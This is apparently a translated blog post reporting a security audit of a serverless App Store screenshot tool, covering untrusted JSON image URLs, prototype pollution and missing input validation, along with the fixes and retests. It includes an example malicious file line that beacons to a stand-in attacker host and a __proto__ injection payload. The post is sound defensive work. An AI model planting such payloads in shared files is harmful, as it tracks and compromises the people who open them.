
백엔드가 없는 정적 도구를 감사했더니, 취약점은 '타인에게 받은 파일'에 있었다
요약
서버와 DB가 없는 정적 도구의 보안 감사를 통해 발견된 취약점을 다룹니다. 코드 로직 자체보다 외부에서 유입된 파일(JSON)을 검증 없이 처리할 때 발생하는 보안 위협을 분석합니다.
핵심 포인트
- 외부 JSON 파일 내 이미지 URL 미검증으로 인한 비콘 전송 위험
- Object.assign을 통한 프로토타입 오염(Prototype Pollution) 취약점
- 입력값의 타입 및 개수 미검증으로 인한 서비스 크래시 가능성
- 데이터 스킴(Scheme) 화이트리스트 적용을 통한 보안 해결 방안
계기
지난번에는 AI가 1시간 만에 만든 Next.js 앱을 공개하기 전에 감사했더니, Critical(심각) 등급이 2건 나왔다는 이야기를 썼습니다. 그것은 서버 사이드(Server-side)에 관한 이야기였습니다. 레이트 리미팅(Rate limiting), 입력 검증(Input validation), 보안 헤더(Security header). 요컨대 "입구를 지키는" 코드를 AI가 작성하지 않았다는 내용이었습니다.
이번에는 그 정반대의 것을 감사했습니다.
App Store의 스크린샷을 만드는 작은 도구를 개인적으로 만들고 있는데, 이것은 구성이 완전히 다릅니다. 서버 없음, DB 없음, 로그인 없음, 외부 통신 없음, index.html 단 한 장. 빌드도 하지 않습니다. 브라우저에서 열고, 이미지를 드롭하고, 내보내면 끝입니다.
그래서 감사를 시작할 때는 솔직히 이렇게 생각했습니다. 서버가 없으니 볼 곳도 거의 없을 것이라고.
결과는 3건이었습니다. 지난번과 같은 Critical은 아닙니다. 다만, 취약점이 발견된 위치가 예상과 달랐다는 점이 가장 큰 수확이었습니다. 구멍이 있었던 곳은 코드의 로직이 아니라, 타인에게 받은 파일을 여는 기능 쪽이었습니다.
감사에서 발견된 것 (요약)
| 심각도 | 내용 |
|---|---|
| 🟠 High | 공유된 프로젝트 파일의 이미지 URL이 미검증. 열기만 해도 외부로 비콘(Beacon)이 전송됨 |
| 🟡 Medium | Object.assign에 의한 프로토타입 오염 (Prototype Pollution) (JSON.parse의 __proto__) |
| 🟡 Medium | 값의 타입과 개수가 미검증. 숫자형 타이틀로 인한 크래시, 슬라이드 수도 무제한 |
| 🐛 Bug | 단말기 복원이 2개 기종으로 고정됨. 감사에서 발견된 단순 버그 |
XSS나 eval 주변은 문제가 없었습니다. 그 부분도 후반부에 작성하겠습니다.
🟠 High: "추적하지 않습니다"라고 말하는 도구가, 파일 하나로 비콘을 보낼 수 있었다
이 도구에는 데크(Deck) 전체(문구·이미지·스타일)를 하나의 .json 파일에 저장하는 기능이 있습니다. 나중에 재개할 수 있다는 점과 타인에게 전달할 수 있다는 점이 특징입니다.
그런데 로드(Load) 측 코드는 다음과 같이 작성되어 있었습니다.
// 수정 전
DEVS.forEach(dev => {
const src = sd.img && sd.img[dev];
...
저장할 때는 반드시 data:image/png;base64,... 형식이 들어갑니다. 그래서 읽을 때도 그럴 것이라고 아무 생각 없이 믿었습니다. 하지만 .json은 단순한 텍스트이므로, 받은 사람이 내용을 수정할 수 있습니다.
{ "style": { "bgImg": "https://attacker.example/beacon.png?id=abc" } }
이 파일을 열면 브라우저는 순순히 해당 URL로 요청을 보냅니다. 공격자 측에서 볼 수 있는 것은 파일을 연 사람의 IP 주소와 User-Agent, 그리고 "언제 열었는가"입니다. 화면상으로는 아무 일도 일어나지 않습니다. 로드에 실패한 이미지가 한 장 있을 뿐이라, 알아챌 요소가 없습니다.
개인적으로 이것이 가장 문제라고 생각한 이유는, 이 도구의 셀링 포인트가 "로컬 완결·업로드 없음·트래킹 없음"이기 때문입니다. RCE(원격 코드 실행)나 데이터 유출은 아니지만, 타인에게 받은 파일 하나를 여는 것만으로 그 전제가 조용히 무너집니다. 심각도라기보다, 약속한 사항이 지켜지지 않는 상태였습니다.
해결 방법은 스킴(Scheme)의 화이트리스트(Whitelist)를 적용하는 것뿐입니다.
const IMG_DATA_RE = /^data:image\/(png|jpe?g|gif|webp|avif|svg\+xml);base64,[A-Za-z0-9+/=\s]+$/i;
function safeImgSrc(v){ return (typeof v === "string" && IMG_DATA_RE.test(v)) ? v : null; }
인라인 data: 이미지만 허용하고, 그 외에는 null로 처리합니다. 배경 이미지, 로고, 각 단말기의 스크린샷 등 이미지가 들어가는 모든 경로에 동일한 함수를 통과시켰습니다.
지난번 기사에서 "PII(개인정보)는 생각지도 못한 경로로 유출된다"라고 썼는데, 이번에도 마찬가지였습니다. 지난번에는 서드파티(Third-party) 분석 스크립트를 경유했고, 이번에는 사용자끼리 주고받는 파일을 경유했습니다.
Object.assign으로 프로토타입이 교체됨
🟡 Medium: 동일한 로드 처리 과정에 이것이 있었습니다.
// 수정 전
if (d.style) Object.assign(state.style, d.style);
겉보기에는 평범한 머지 (merge)입니다. 하지만 JSON.parse와 Object.assign의 조합에는 함정이 있습니다.
JSON.parse('{"__proto__":{...}}')는 __proto__를 자기 자신의 프로퍼티 (property)로 가지는 객체를 생성합니다. 이 단계에서는 setter가 호출되지 않습니다. 반면 Object.assign은 복사 대상에 [[Set]]을 사용합니다. 즉, target.__proto__ = {...}라고 작성한 것과 동일하게 취급되어, 이번에는 setter가 호출됩니다.
결과적으로 state.style의 프로토타입 (prototype)이 공격자가 준비한 객체로 교체됩니다. Object.prototype 전체를 오염시키는 것은 아니기에 영향 범위는 제한적이지만, 존재하지 않아야 할 키 (key)가 in이나 for...in에 나타나는 상태는 애초에 상정하지 않은 상황입니다.
또한 Object.assign은 알 수 없는 키나 값의 타당성 (validity)을 전혀 확인하지 않으므로, titleSize: 999나 bg1: "red;background:url(...)" 모두 그대로 통과됩니다.
그래서 머지를 중단하고, 이미 알고 있는 키만 하나씩 다시 구성하는 방식으로 변경했습니다.
function sanitizeStyle(r){
if (!r || typeof r !== "object") return;
const s = state.style;
...
이렇게 하면 __proto__는 '모르는 키'로서 단순히 제외되며, 숫자는 범위 내로 클램핑 (clamping)되고, 색상은 16진수 형식 체크를 통과합니다. 위험한 키를 차단하는 것이 아니라, 안전한 키만 채택하는 것. 지난번 프롬프트 인젝션 (prompt injection) 때와 같은 결론에 도달했습니다.
🟡 Medium: 타입을 믿고 있었다
선언상의 타입은 확인했지만, 실행 시점 (runtime)의 값은 확인하지 않았습니다.
// 수정 전
if (tt) s.loc[L] = { title: tt.title || "", subtitle: tt.subtitle || "" };
|| ""는 '비어 있으면 빈 문자열'로 의도하고 작성한 것이지만, title이 12345라면 숫자 그대로 통과됩니다. 표시 측에서는 title.trim()을 호출하기 때문에, trim is not a function 오류와 함께 그 자리에서 앱이 종료됩니다. {}를 넣어도 마찬가지입니다.
슬라이드 수도 무제한이었습니다. 에디터 측에서는 10장으로 제한하고 있는데, 파일을 통해서라면 5만 장의 덱 (deck)을 전달할 수 있습니다.
// 수정 후
state.slides = d.slides.slice(0, 10).map(sd => { // 에디터와 동일한 상한선
...
...
safeStr를 통해 문자열 이외의 값은 빈 값으로 처리하고, 길이도 자릅니다. UI에서 보호하고 있는 제약을 파일 경로의 입구에서도 동일하게 보호한다는 단순한 이야기지만, UI 유효성 검사 (validation)는 UI의 편의를 위한 것일 뿐이라는 사실을 잊고 있었습니다.
🐛 감사에서 발견된, 보안 이슈가 아닌 버그
이것은 취약점이 아니라 일반적인 버그입니다.
// 수정 전
if (d.device === "iphone" || d.device === "ipad") state.device = d.device;
이 도구는 처음에 iPhone과 iPad뿐이었습니다. 그 후 Android, iPhone 6.7인치, Android 태블릿, Mac, 피처 그래픽 (feature graphics) 등으로 늘어나 현재는 7개 기종이 있습니다. 내보내기 (export) 처리는 공통된 DEVS를 순회하도록 리팩토링 (refactoring)이 완료된 상태였음에도, 이 한 줄만 옛날 방식 그대로 남아 있었습니다.
그래서 Mac 표시 중에 저장하고 다시 불러오면, 아무 말 없이 iPhone으로 돌아갑니다. 에러도 경고도 발생하지 않습니다. 사용하다가 "어라?" 하게 되는 그런 종류의 문제입니다.
// 수정 후
if (DEVS.includes(d.device)) state.device = d.device;
이것을 발견할 수 있었던 이유는, 감사 과정에서 "파일로부터 오는 값을 하나씩 전부 나열하고, 각각 무엇을 검증하고 있는지 적어 내려가는" 작업을 수행했기 때문입니다. 보안 목적으로 시작한 전수 조사가 일반적인 버그를 찾아내는 것은 꽤 흔한 일인 것 같습니다. 상수를 한 곳(DEVS)에 모아둔 것도 원래 이런 누락을 방지하기 위함이었기에, 아직 누락이 있었다는 점은 반성해야 할 부분입니다.
✅ 문제없음을 확인한 부분도, 제대로 확인했다
취약점을 찾는 것만이 감사는 아니기에, 문제가 없었던 부분도 남겨두겠습니다.
- XSS: 없음. 사용자 텍text가
innerHTML에 들어가는 곳은 한 곳(슬라이드 목록의 칩)뿐이었으며, 이미escapeHtml()을 통과하고 있었습니다. 속성값이 아닌 텍스트 노드 위치이므로& < > "에스케이프(escape)만으로 충분합니다. 덤으로 비문자열(non-string)에서도 오류가 나지 않도록'도 대상에 추가했습니다. eval/new Function/ 문자열 버전setTimeout: 0건- 외부 리소스 참조: 0건. CDN도 분석 태그도 없습니다. 폰트는 동봉되어 있습니다.
- CSS 인젝션 (CSS Injection): 도달 불가능.
style.background에 값을 넣는 곳은 있지만, 들어가는 값은 내부 상수(프리셋 및 프레임 색상)뿐이며 파일 유래의 값은 흘러 들어가지 않습니다. - ZIP 내보내기 경로: 엔트리 이름은
{locale}/{device}_{NN}.png}이며, 둘 다 내부 상수입니다. 사용자 문자열이 경로에 포함되는 경로가 없으므로../에 대한 걱정도 없습니다.
XSS가 없었던 것은 우연이 아니라 처음부터 에스케이프를 해두었기 때문이며, 그 점은 과거의 자신에게 감사했습니다.
CSP: 「통신하지 않음」을, 선언에서 증명으로 바꾸다
수정에 더해, CSP의 meta 태그를 추가했습니다.
<meta http-equiv="Content-Security-Policy" content="
default-src 'none'; img-src 'self' data: blob:; font-src 'self';
style-src 'self' 'unsafe-inline'; script-src 'self' 'unsafe-inline';
...
효과가 있는 부분은 img-src에 http(s)가 들어있지 않다는 점입니다. 향후 회귀 테스트 (Regression) 과정에서 검증이 누락되더라도, 브라우저 측에서 외부로 향하는 이미지 취득을 차단해 줍니다. connect-src 'none'을 통해 fetch나 XHR, WebSocket도 차단됩니다.
애플리케이션 전체가 하나의 인라인 스크립트(inline script)이므로 'unsafe-inline'은 제거할 수 없습니다. 그 부분은 포기했습니다. 다만 이 도구에서 지키고 싶은 것은 '주입된 스크립트의 실행'보다 네트워크로 나가지 않는 것이기에, 우선순위로서는 이것이 적절하다고 판단했습니다.
부수적인 효과로, 이것은 주장의 증명이 되기도 합니다. "트래킹하지 않습니다"는 말뿐인 약속이지만, CSP가 설정되어 있으면 DevTools의 Network 탭을 여는 것만으로 누구나 확인할 수 있습니다. 로컬 완결성이 장점인 도구에게는 기능의 일부와도 같다고 생각합니다.
수정이 효과가 있는지, 감사와 동일한 공격으로 재검증하다
지난번과 마찬가지로, 수정하고 끝내지 않습니다. 악의적인 프로젝트 파일을 하나 만들어, 모든 공격 요소를 담아 던져보았습니다. 프로토타입 오염 (Prototype Pollution), 원격 이미지 URL, 슬라이드 50장, 숫자로 된 제목, 폰트 이름에 </style><script>, 범위를 벗어난 수치 등입니다.
| 공격 | 감사 시 | 수정 후 |
|---|---|---|
bgImg에 원격 URL | 그대로 취득 | null (통신 제로) |
__proto__를 심음 | 프로토타입이 교체됨 | 미지의 키로 폐기 |
titleSize: 999 | 그대로 적용 | 0.3으로 클램프 (clamp) |
| 폰트 이름에 태그 혼입 | 그대로 채택 | 기본값 유지 |
| 슬라이드 50장 | 50장 모두 생성 | 10장으로 제한 |
| 제목이 숫자 | .trim()으로 예외 발생 | 빈 문자열로 정규화 |
| Mac에서 저장 후 재로드 | iPhone으로 돌아감 | Mac 상태로 복원 |
DevTools의 Network 탭은 요청 0건, 콘솔의 에러도 제로였습니다.
그리고 잊기 쉬운 것이 정상계(Normal case)인데, 제대로 된 파일이 망가지지 않았는지도 확인했습니다. 스크린샷 6장, 스타일, 단말기, 일본어 텍스트가 모두 정상적으로 오갔으며, 내보내기도 규격대로(1284×2778, PNG 컬러 타입 2 = 알파 없는 RGB)였습니다. 방어력을 높였는데 기능이 망가진다면 본말전도이기에, 이 부분은 매번 세트로 확인하도록 하고 있습니다.
요약: 「백엔드가 없다」는 「입구가 없다」는 뜻이 아니다
이번에 확실히 알게 된 것은, 제 스스로의 착각이었습니다.
서버가 없다고 해서 안전한 것은 아닙니다. 이 애플리케이션의 신뢰 경계(Trust Boundary)는 네트워크가 아니라 파일에 있었습니다. 타인에게 받은 파일을 여는 기능이 있는 시점에서, 그곳은 외부 입력(External Input)입니다. .json, .csv, 설정 파일, 내보내기(Export)와 가져오기(Import). "내 앱이 작성한 파일이니까 내용은 알고 있다"라고 생각하는 순간 똑같은 구멍이 생깁니다. 저장한 것이 자신일지라도, 열 때 전달해 주는 것은 타인입니다.
지난번의 결론은 "AI는 기능을 작성하지만, 방어는 작성하지 않는다"였습니다. 그것은 이번에도 변함이 없습니다. 한 가지 덧붙이자면, AI는 자신이 저장한 형식을 암묵적으로 신뢰하는 코드를 작성합니다. 저장과 읽기를 계속해서 작성하게 하면, 읽기 측은 저장 측의 출력만을 상정하게 됩니다. 왕복하는 데이터 중, 되돌아오는 쪽만이 검증(Validation)을 필요로 합니다. 이 부분은 요청하지 않으면 나오지 않을 발상이었습니다.
지난번 마지막에 "체크리스트와 프롬프트 형태로 정리하겠다"라고 썼으므로, 이번 분량도 그곳에 추가할 예정입니다. 우선 짧게 요약하면 다음과 같습니다.
- 외부에서 온 문자열이 URL로 사용되는 곳을 전부 찾아내어, 스킴(Scheme)을 화이트리스트(Whitelist)로 지정한다.
- 파싱(Parse)한 JSON을
Object.assign으로 병합(Merge)하지 않는다. 알려진 키(Known Key)만 다시 구성한다. - 개수, 길이, 타입(Type). UI에서 지키고 있는 제약 사항은 파일 경로에서도 동일하게 지킨다. - 수정한 뒤에는 반드시 정상 케이스(Happy Path)의 왕복 과정을 확인한다.
감사한 도구는 이것입니다. App Store의 스크린샷을 만드는 것뿐인 작은 도구이지만, MIT 라이선스로 공개하고 있습니다.
여기까지 읽어주셔서 감사합니다.
Discussion

AI 자동 생성 콘텐츠
본 콘텐츠는 Zenn AI의 원문을 AI가 자동으로 요약·번역·분석한 것입니다. 원 저작권은 원저작자에게 있으며, 정확한 내용은 반드시 원문을 확인해 주세요.
원문 바로가기